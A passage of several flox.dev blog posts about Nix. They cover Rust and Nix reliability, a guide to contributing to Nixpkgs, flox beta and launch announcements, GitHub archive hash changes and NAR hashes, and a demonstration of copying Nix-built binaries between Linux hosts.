confidently observe the state of our builds and deployed software and its dependencies. It’s also a significant source of deployment issues, which many projects and companies have tried to solve by introducing a service or a product. Nix suggests that the problem should be solved at a more fundamental layer. Rust and Nix achieve similar goals in different realms. You get speed and safety (the two core pieces in [DORA metrics](https://cloud.google.com/blog/products/devops-sre/using-the-four-keys-to-measure-your-devops-performance)) as well as security. These guarantees allow developers to focus on higher order concepts instead of nitty gritty details of memory management in a concurrent application. With Nix, trying to access the internet at build time, trying to access resources from your local directory, or trying to access something in a global mutable location will throw errors, so that your build environment is well-specified and your program ultimately runs properly when deployed to production. ## Fearless Transformation with Rust and Nix It’s important not to lose sight of the point of all this up-front work which Rust and Nix require. The goal is to be able to use this software while making as few assumptions as possible about where or how that program will run. This means that it also makes it less risky to change. If a Rust program’s interface is well defined, it becomes easy to extend or modify without introducing unexpected bugs in another part of the codebase. Similarly, with Nix, changing a dependency completely changes the program you’ve output–as far as Nix is concerned, it is a completely different program. A developer won’t have their program change out from under them, nor will they be unsure about the contents of any given build. This also means with Nix you can now safely transform packages into different kinds of artifacts and run them in a VM or container or anywhere really, because your system is keeping track of everything under the hood. This is why there are far less reliability issues in both Rust and Nix based-code, as it is far harder for someone to change libraries from underneath you. So the tradeoff is that while you have less flexibility, you have greater reassurance and stability on a longer timescale. Fewer "works on my machine, but not on yours" problems mean easier collaboration and development speed for complex projects. In Rust, the reliability is due to the stringent pointer discipline (among other languages), and in Nix it’s the reference and dependency discipline. ## Why Does This Matter? Software engineering is growing in complexity, demanding expertise in more domains than in the past. If historically you just needed to write some code, now you need to have some level of understanding in operations and security. By having your tools impose built-in guardrails to offload some of this cognitive load, you then derive much more freedom on the software engineering side, and aren’t bogged down by details you shouldn’t have to keep track of in the first place. As our systems get larger, with many microservices, across many environments and languages, we want to be able to manage, share, collaborate on, and modify our code safely without impacting velocity due to safety concerns. We can move fast without breaking things! ## Going Forward We believe that Nix provides a strong foundation to bring these values of reliability and confidence into the software development lifecycle (SDLC) and are building the [flox ecosystem](https://flox.dev/docs/) to make this easier. There are a common set of problems that enterprises encounter and flox aims to address them. Check out our future posts where we will go into these issues and solutions. About the author: Tom Bereknyei, Director of Engineering Title: Contributing to Nixpkgs Source: https://flox.dev/blog/contributing-to-nixpkgs/ Date: 2023-05-08 Category: guide # Contributing to Nixpkgs We're big fans of Nixpkgs (obviously) and encourage others to contribute packaging and review. Nixpkgs is surprisingly easy to contribute to, but has its particular details. This is a guide to contributing your first PR to Nixpkgs. I recently worked through my first Nixpkgs contribution, and thought it might be useful to give an overview of the process for those looking to do the same. Before we start, some useful resources: - Read the "[Submitting Changes](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#submitting-changes)" section of the Nixpkgs repository. - The [Manual](https://nixos.org/manual/nixpkgs/stable) has examples of adding packages for many languages and ecosystems. Ctrl-F is your friend. - Get familiar with the meta attributes [entry](https://nixos.org/manual/nixpkgs/stable/#sec-standard-meta-attributes) in the manual. - Use a Nix formatter like [alejandra](https://github.com/kamadorueda/alejandra). We will not cover [writing the actual Nix expression](https://www.reddit.com/r/funny/comments/eccj2/how_to_draw_an_owl/). ## Basic Workflow The high level steps look like this: - Clone the nixpkgs repo and checkout a branch to work off of. - Pick a builder for the language. - if a single language project, the community has usually converged on a preferred builder for a language. (Unless it's Rust, since Rust people rewrite everything all the time for fun, apparently.) - if you're dealing with multiple languages, you're going to need to know some Nix and will likely need to roll your own derivation. - Write the Nix expression for the package. - Add your package to `all-packages.nix` so that it can be run with `nix-build -A my-package`. Ctrl-F in the manual. - If it's your first contribution, add yourself to the maintainers list under `maintainers/maintainer-list.nix`. > **The best thing you can do before you start to package something is to look at existing packages as reference.** As one of the largest package recipe repositories in existence, Nixpkgs has many examples to learn from. Search via GitHub, or search your local clone of Nixpkgs with (rip)grep. For example, if you're packaging a Rust project, you might look at the [Rust](https://nixos.org/manual/nixpkgs/stable/#rust) section of the manual and decide to use the recommended `buildRustPackage` builder. Then you can search Nixpkgs for expressions which use that builder. ## If it's broken, keep fixing it Once you have your expression set up, try to build it. It will probably fail, and return errors about what went wrong. Read the errors, and, as unhelpful as this is... just fix them. For example, while packaging this [tool](https://github.com/NixOS/nixpkgs/blob/master/pkgs/servers/nostr-rs-relay/default.nix), the first error I hit was something about missing protobuf. So I added `protobuf` as a package to the runtime dependencies of the package (via `nativeBuildInputs`). There's really no way around it. The best you can hope for is someone who can help you decipher errors when they get too cryptic or unfamiliar. ## Hash formats Nix expressions use cryptographic hashes to validate sources. For example, when you use a `fetchFromGitHub` function to fetch a repository from GitHub, you must provide the hash that represents this packed source tree. Nix recommends using SRI hashes, which are _self-descriptive_ hashes, i.e. hashes that tell you which format they are in. You can use the `nix hash to-sri $HASH --type sha256` to transform a sha256 hash to an SRI hash. You'll see that the result is prefixed with `sha256-`. ## Testing on other distros One of the key superpowers of Nix is being able to define package expressions for multiple OS's and chip architectures. But you likely don't have access to multiple architectures if building on your local machine. In my case, I asked a colleague to try to build it on his Mac machine, and he [added an input](https://github.com/NixOS/nixpkgs/commit/8046afdbd4090864d93fc4dc3a9a8873d6b9ccb4) that MacOS expects to build the package successfully. ## Adding meta information A `meta` attribute is required: its aim is to provide metadata around a package. Fields should include a short description of the package, a license attribute which mirrors the license for the source code, a URL to the project's changelog, the platforms this program can run on, and notably the maintainers of this Nix expression. The maintainers field is not for the project maintainers--it is the maintainer(s) of the Nix expression in question. If you're submitting a package to Nixpkgs, people should know who to direct questions to regarding this Nix expression. It's also a measure of responsibility on your part: if you're submitting this package, you should consider yourself responsible for its ongoing maintenance, such as bumping versions. Open source is not one-and-done. The following is an example of the `meta` attribute for the `sqlite` package, found in [this expression](https://github.com/NixOS/nixpkgs/blob/master/pkgs/development/libraries/sqlite/default.nix): ``` meta = with lib; { changelog = "https://www.sqlite.org/releaselog/${lib.replaceStrings [ "." ] [ "_" ] version}.html"; description = "A self-contained, serverless, zero-configuration, transactional SQL database engine"; downloadPage = "https://sqlite.org/download.html"; homepage = "https://www.sqlite.org/"; license = licenses.publicDomain; mainProgram = "sqlite3"; maintainers = with maintainers; [ eelco np ]; platforms = platforms.unix ++ platforms.windows; }; ``` ## Nixpkgs Organization First, decide under which `pkgs/` subfolder your expression should live. Then, add your expression under `{my-package}/default.nix`. There's an expression in `top-level/all-packages.nix` which serves as an index for all expressions in nixpkgs. Once you add yours in there, you can run `nix-build -A my-package` to build it. ## Opening a PR in Nixpkgs Once your expression builds, and is in the right directory, run your [formatter](https://github.com/kamadorueda/alejandra) to format the code. Then, go to GitHub and open up a PR. If you push your local branch to your GitHub remote, the UI will prompt you to open a PR in the Nixpkgs repository. The PR title guidelines are described in the [CONTRIBUTING](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#submitting-changes) doc. For example, if this is a new package (not a version upgrade of an existing one) then the PR title should look like: `nginx: init at 2.0.1`. Regarding commit hygiene, read [this section](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#writing-good-commit-messages) carefully. ## Review Once your PR is open, you will have to wait for someone to review and/or merge it. Even if you have merge access (and if this is your first contribution, you probably don't), you should have someone else review and merge your contribution. I was grateful to have @natsukium's careful review of my PR. As far as I can tell, there are no rules or guidelines here, you just have to wait for someone to volunteer to spend time reviewing your contribution. As with most open-source projects, PR review is the bottleneck. Once you feel comfortable with the Nixpkgs contribution process, consider reviewing open PRs as an excellent way to contribute! Title: Announcing the Flox Open Beta Source: https://flox.dev/blog/announcing-the-flox-open-beta/ Date: 2023-02-07 Category: news # Announcing the Flox Open Beta Harness the power of Nix. Today we’re thrilled to release the flox CLI beta to the public as an open source project and announce a Series A funding round led by NEA. Today we’re thrilled to release the flox CLI beta to the public as an open source project and announce a Series A funding round led by NEA, with participation from Hetz Ventures, Addition, and angels such as Thomas Dohmke (GitHub CEO), Guy Podjarny (Snyk founder), and James Turnbull (former VP Docker, CTO Sotheby's). You can try out the flox CLI [here](https://flox.dev/docs) and check out the repo on [GitHub](https://github.com/flox/flox). ## Why flox Nix offers us opportunities to advance the state of dev tooling in significant ways, but it remains difficult to learn and implement whether as a solo developer, a small team or a large company. flox’s mission is to provide seamless, reliable and delightful workflows built on top and around Nix, allowing you to experience the powers of Nix without the steep learning curve. ## Environments with wings The flox CLI is your interface to a set of tools for developing, building, and shipping code. What does this mean specifically? With isolated, portable environments, you can run different versions of any program without fear of breaking your system. You can swap in or out of any environment, seamlessly switching contexts with perfect isolation. While you can replicate this with some effort with Nix, flox provides an imperative (and delightful) CLI experience that will seem more familiar to most developers. Since they are defined as code these environments can be shared via git. This means two machines of the same type can share the same environment, across Linux distributions and in or out of a container. It means improved collaboration across and between teams, but also better tracking of your development environments: you can pull an env into your context with a “flox pull”, just like you would pull a repository with “git pull”. No need for cloud VMs, or shared terminal sessions–everyone recreates the same bits on their machines and is free to start coding with minimal setup hassle. We think these foundational features will change the way people manage their machines. But that’s just the beginning. If you want to provide an environment to build and develop a project from, you can bundle a build environment with your source code. A developer can just checkout your branch and instantly get working, without having to run a [container](https://i.imgur.com/3eTKEZp.jpg). Finally, you can release your software to the world with the “publish” command, in whatever location or format you prefer–no lock-in whatsoever. For example, you could render your environment as a container runtime for use with Docker, Kubernetes, or Nomad, or publish your artifact to the flox Catalog. These tools, used together, yield a powerful paradigm for managing environments, projects, and the release lifecycle. Check out the [docs](https://flox.dev/docs), and let us know what you think! ## flox ❤️ Nix We want to highlight our relationship with the Nix project and community. In the past year flox dedicated time to support, empower and sometimes lead efforts across the Nix community. We think Nix has had an important impact on software engineering practice and that this is the moment for that impact to be celebrated and to bring Nix-based technologies into common usage. Nix is in our DNA. As an explicit part of our culture, we will continue to support Nix, the many amazing tools that are and will be built on it and the community through direct contributions to the NixOS Foundation, open source, sponsorships, evangelizing and organizing events. The “no bullshit” version of what we want to say is: flox is nothing without the Nix community. And as a company that wants to bring Nix to the world, we need to work hand in hand with the community. We will continue to do so with integrity and transparency. ## What’s Next We are already working on the next launch, with many exciting features coming this year. For a quick sneak peek into our short term roadmap, we will be improving the CLI with all your feedback and improving build environments for projects and containerization. We know the flox model supercharges large organizations, particularly if they have strict compliance and security requirements, so we’ve started working with a few organizations to iterate on the platform further. Expect more enterprise features to roll out in the coming months. ## Onwards We’re excited to have everyone play and build with flox. We’d especially like to thank our brilliant advisors and beta users who’ve helped shape the product. If this sounds like something you would want to work on, we’re [actively hiring](https://angel.co/company/flox-dev)! If you have any questions, comments, or feedback, head to the [Discourse](https://discourse.flox.dev) and give us a shout. Thanks! [Get Started](https://flox.dev/docs) | [GitHub](https://github.com/flox) | [Discourse](https://discourse.flox.dev) | [Twitter](https://twitter.com/floxdevelopment) Title: Hash Collision Source: https://flox.dev/blog/hash-collision/ Date: 2023-01-31 Category: news # Hash Collision Github changed the format of their archives and this caused some systems and services that depend on the hash of the archives of a source tree to break. ## TL;DR Github changed the format of their archives and this unexpectedly caused some systems and services that depend on the hash of the archives of a source tree to break. Nix uses NAR hashes, a custom format for source archives; NAR hashes are deterministic based on the content of a source tree. ## What happened? The default Git archive format changed [last year](https://github.com/git/git/commit/4f4be00d302bc52d0d9d5a3d4738bb525066c710). Around January 30th, Github followed suit and [changed](https://github.blog/changelog/2023-01-30-git-archive-checksums-may-change/) the format of their archives and this unexpectedly caused some systems and services that depend on the hash of the archives of a source tree to break. People have come to depend on this hash as an integrity check of the files they are receiving from GitHub due to several reasons, mainly because it’s the most straightforward way to do so. Github made it really convenient to use and depend on this hash, for example by taking the hash and adding tar.gz to it, you could generate a URL for people to download the archive from. ## Does this affect [Nixpkgs](https://flox.dev/blog/nixpkgs-the-big-recipe-book-of-open-source)? No, because Nix leverages a custom format called Nix Archive (NAR) for archiving source trees, specifically by relying on the NAR hash and the git revision hash. ## Why did Nix do this? Why does Nix have its own format? The NAR format was written into Nix at the start, about 20 years ago. TAR has a few problems, mostly because it's old (the original TAR format was released by Bell Labs in 1979–fairly jurassic in internet-years). The tar format includes a variety of information that makes it non-deterministic regarding the source tree it is archiving, such as file creation time, owners and groups, timestamps; it also dumps files sequentially into the archive. As such, tar is good for validating integrity _in transmission_ –making sure the file wasn’t tampered with from origin to destination when transferred– but not well suited for validating the integrity of the contents of the source tree itself. Nix required something that could reliably and deterministically pack the source tree. Hence NAR format: the Nix Archive format. It’s very simple, and unlike tar has no options to fiddle with. See for yourself (via Eelco’s original PhD thesis) ## What's a NAR hash? A NAR hash deterministically identifies the contents of a source tree. Nixpkgs is not affected by GitHub’s change, even though it pulls in source trees from GitHub, because Nixpkgs uses the NAR hash and a git revision hash to validate the contents received, and therefore even if the tar hash changes, we can still validate the integrity of the files we’re sourcing. NAR hashes are not Nix-specific, they can be used generically for any source tree. ## Should GitHub provide NARs for source trees? Not a bad idea at all! A NARinfo file contains both an archive hash, a NAR hash, and a signature from whoever is providing this archive. GitHub has accommodated different hashing and archiving schemes before. In this case, if people relied on the NAR hash in addition to the TAR hash, this episode could perhaps have been avoided, or at least mitigated. Title: Announcing Flox Source: https://flox.dev/blog/announcing-flox/ Date: 2022-10-13 Category: news # Announcing Flox flox is a first-of-its-kind environment manager. Seamlessly create new polyglot developer environments. Make everything reproducible from package management to builds. ## flox is a first-of-its-kind environment manager. Seamlessly create new polyglot developer environments. Make everything reproducible from package management to builds. We are very excited to share what we've been working on, and to continue gathering feedback from the developer community as we build. TL;DR - Ready to jump in? Sign up for the beta [here](https://flox.dev/beta) for access to flox, documentation, and our Discord. And stay in touch by following us on [GitHub](https://github.com/flox/flox), and joining our [Discourse](https://discourse.flox.dev). ## So, what is flox, and why did we build it? We started flox out of excitement for the enormous value that Nix can bring to developers. We created flox to provide a best in class environment manager, from project initialization to package management to CI, supporting the workflows of individuals and teams, large and small. Over the last 20 years since its creation, Nix has successfully demonstrated a new model for packaging, building, and distributing software. We think the Nix model will have profound implications for computing. Nix is incredibly powerful, yet not widely adopted. Coupled with [Nixpkgs](https://flox.dev/blog/nixpkgs-the-big-recipe-book-of-open-source) (the largest collection of packages in the public domain) we think Nix is too good to be anything less than the de facto standard for packaging software. At the same time, people shouldn’t have to become a Nix expert in order to use it effectively. Our central mission is to make Nix's superpowers more accessible to a broader audience of developers, teams and enterprises . While we are just at the beginning, we hope our fellow Nix community members find flox to be a natural way to help introduce Nix to your coworkers, projects, and communities. In short, flox is Nix for simplicity and scale. Off the bat, flox significantly improves the status quo for developer tooling in a matter of minutes, without interfering with your existing environment, Nix-based or otherwise:
  • a multi-platform and reproducible environment manager: test and run the same bits everywhere
  • an intuitive git-like workflow for sharing composable environments: collaborate, distribute, and onboard seamlessly, and never hear “works on my machine!” again
  • a “publish” primitive to share the output of builds: track, reuse, and provide the result of your builds
  • the “flox Catalog”, a reliable interface to Nixpkgs, providing only packages that are ready to download from the biggest collection of software packages in the world
Looking forward, we'll focus on improving the collaboration experience within and across teams, and gathering feedback from our existing users. We will also be open sourcing key parts of our tooling for you to inspect, leverage, and remix to your needs. We also plan to start addressing enterprise-grade problems in the realms of package distribution, compliance, security, and transparency. We are eager to help you integrate custom solutions to your team or organization’s needs. Please [reach out](mailto:hello@floxdev.com). ## Our Commitment to Nix The future is Nix-native and we are not just betting on it: Nix is in our DNA. As an explicit part of our culture, we will continue to support Nix, the many amazing tools that are and will be built on it and the community through direct contributions to the NixOS Foundation, open source, sponsorships, evangelizing and organizing events. One of our key goals is growing Nix itself: flox will always provide seamless compatibility in and out of Nix. Our efforts center on onboarding more developers onto Nix via flox, providing a happy path for them to grow into the wider Nix ecosystem. ## Get Started [Sign up for the beta](https://flox.dev/beta) and we’ll provide login and documentation to get you started. Join the discussion on [Discourse](https://discourse.flox.dev) to ask questions, suggest enhancements, or report bugs. We'd love to hear what you think! We’re excited to see what you'll do with flox.
About the author: Ron Efroni and Michael Brantley are co-founders of [flox](https://flox.dev), a company dedicated to bringing Nix to work. Title: Nix: Pure Genius Source: https://flox.dev/blog/nix-pure-genius/ Date: 2022-06-12 Category: guide # Nix: Pure Genius I absolutely love it when hard problems are solved by challenging convention, peeling back layer after layer until pinpointing the core assumption that led us down the wrong path in the first place. I absolutely love it when hard problems are solved by challenging convention, peeling back layer after layer until pinpointing the core assumption that led us down the wrong path in the first place. That is precisely what [Nix](https://nixos.org/) manages to do, unwinding the epoch-old practice of upgrading/replacing files in situ and in the process unlocking the solution to countless problems in the Linux software development lifecycle. ## Ultimate portability Hundreds of articles have been written about Nix, each approaching the topic from a unique angle and highlighting a subtly different value prop. All of them serve to drive home a powerful advantage but it’s rare to see one highlight what may be its most unique feature:  software packaged with Nix runs the same on any Linux distro and in any context. But how can that be? It essentially boils to these two properties of software packaged with Nix:
  • Side-by-side. Nix packages are installed to unique paths with locations determined by the cryptographic checksum of their inputs and build instructions, avoiding conflicts with existing installations and facilitating easy version comparison, atomic upgrades and rollbacks.
  • Entirely self-contained. Nix packages are built with an explicit knowledge of their direct dependencies at unique paths as described above, each of which will have been similarly built to understand their own dependencies. The result is a DAG “closure” of packages which provides everything that application requires all the way down to and{" "} including libc.
This ability to run anywhere is perhaps why Nix has been described as “containers without containers”, providing portability benefits without imposing extra and often unnecessary/unwanted Linux namespace boundaries between invocations and their surrounding environment. ## So what? It wasn’t immediately obvious to me either when first starting out with Nix, but several significant advantages have become apparent along the way:
  • Coexist with other packaging methods. The fact that Nix packages are built to be installed side-by-side carries with it the happy coincidence that they can be similarly installed alongside legacy packaging methodologies, making it possible to safely dip a toe into the Nix waters without having to change current Linux distro and management disciplines.
  • Run the same bits everywhere. Nix packages use nothing from the base operating system (apart from the kernel and system configuration) so they run the same on any Linux distro, in or out of a container.
  • Bring software curation into the public domain. Long considered the exclusive domain of Linux distribution providers, Nix provides a platform upon which to curate build and packaging instructions as code, making it possible to keep up with the O(n) growth of public domain software with the O(m) resources provided by an ever-growing Nix community. This set of open-source build instructions is maintained as the Nixpkgs collection and provides users with access to the most complete and freshest set of curated build instructions for public domain software available anywhere.
  • Declare Linux distro independence. There will always be a requirement for a Linux distribution responsible for bootstrapping hardware and starting up the kernel, but with Nixpkgs we no longer have to depend on it as the sole provider of packages available for use on the system. Select the distro that works best for you, your company and your budget, but don’t be held hostage by the limited selection and (often older) versions of software that it provides.
## Show Me The following demonstration uses the following commands to show that applications built with Nix can simply be copied and invoked on other Linux distributions:
  • Confirm empty /nix/store on alpinehost: ssh alpinehost ls /nix/store
  • Packages required by figlet at runtime: nix-store -qR $(which figlet)
  • (quietly) Copy those paths to alpinehost: scp -qr $(!!) alpinehost:/nix/store
... after which we can `ssh alpinehost` and invoke `/nix/store/*/bin/figlet`. While this example is simple, the approach extends to the use of much more complex applications and on other Linux distributions, in or out of a container. ## What next? Having spent this article extolling the advantages of running Nix-packaged software in various contexts and Linux distros, it’s only appropriate for the next post to highlight those instances where it falls short. Stay tuned to hear an account of the sorts of problems encountered when running Nix-packaged software at scale on a global grid running RedHat Enterprise Linux.
About the author: Michael Brantley is co-founder and CTO of [flox](https://flox.dev), a company dedicated to bringing Nix to work.